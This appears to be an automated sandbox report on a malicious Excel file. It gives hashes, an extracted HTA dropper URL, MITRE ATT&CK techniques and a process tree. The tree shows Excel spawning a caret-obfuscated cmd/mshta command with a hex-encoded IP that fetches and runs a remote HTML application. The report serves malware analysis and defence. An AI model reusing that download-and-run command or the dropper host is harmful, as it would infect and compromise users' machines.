6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

General

Target

?i=1xkdjevxo.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4404	4128	cmd.exe	80

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow	pid	Process
19	824	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
4128	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	Process
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE
4128	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 4128 wrote to memory of 4404	4128	EXCEL.EXE	81
PID 4128 wrote to memory of 4404	4128	EXCEL.EXE	81
PID 4404 wrote to memory of 824	4404	cmd.exe	83
PID 4404 wrote to memory of 824	4404	cmd.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\_i=1xkdjevxo.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4128
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4404
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/824-138-0x0000000000000000-mapping.dmp

Download
memory/4128-136-0x00007FFD21A90000-0x00007FFD21AA0000-memory.dmp

Filesize
64KB

Download
memory/4128-132-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-133-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-134-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-135-0x00007FFD21A90000-0x00007FFD21AA0000-memory.dmp

Filesize
64KB

Download
memory/4128-130-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-131-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-141-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-142-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-143-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4128-144-0x00007FFD23C50000-0x00007FFD23C60000-memory.dmp

Filesize
64KB

Download
memory/4404-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads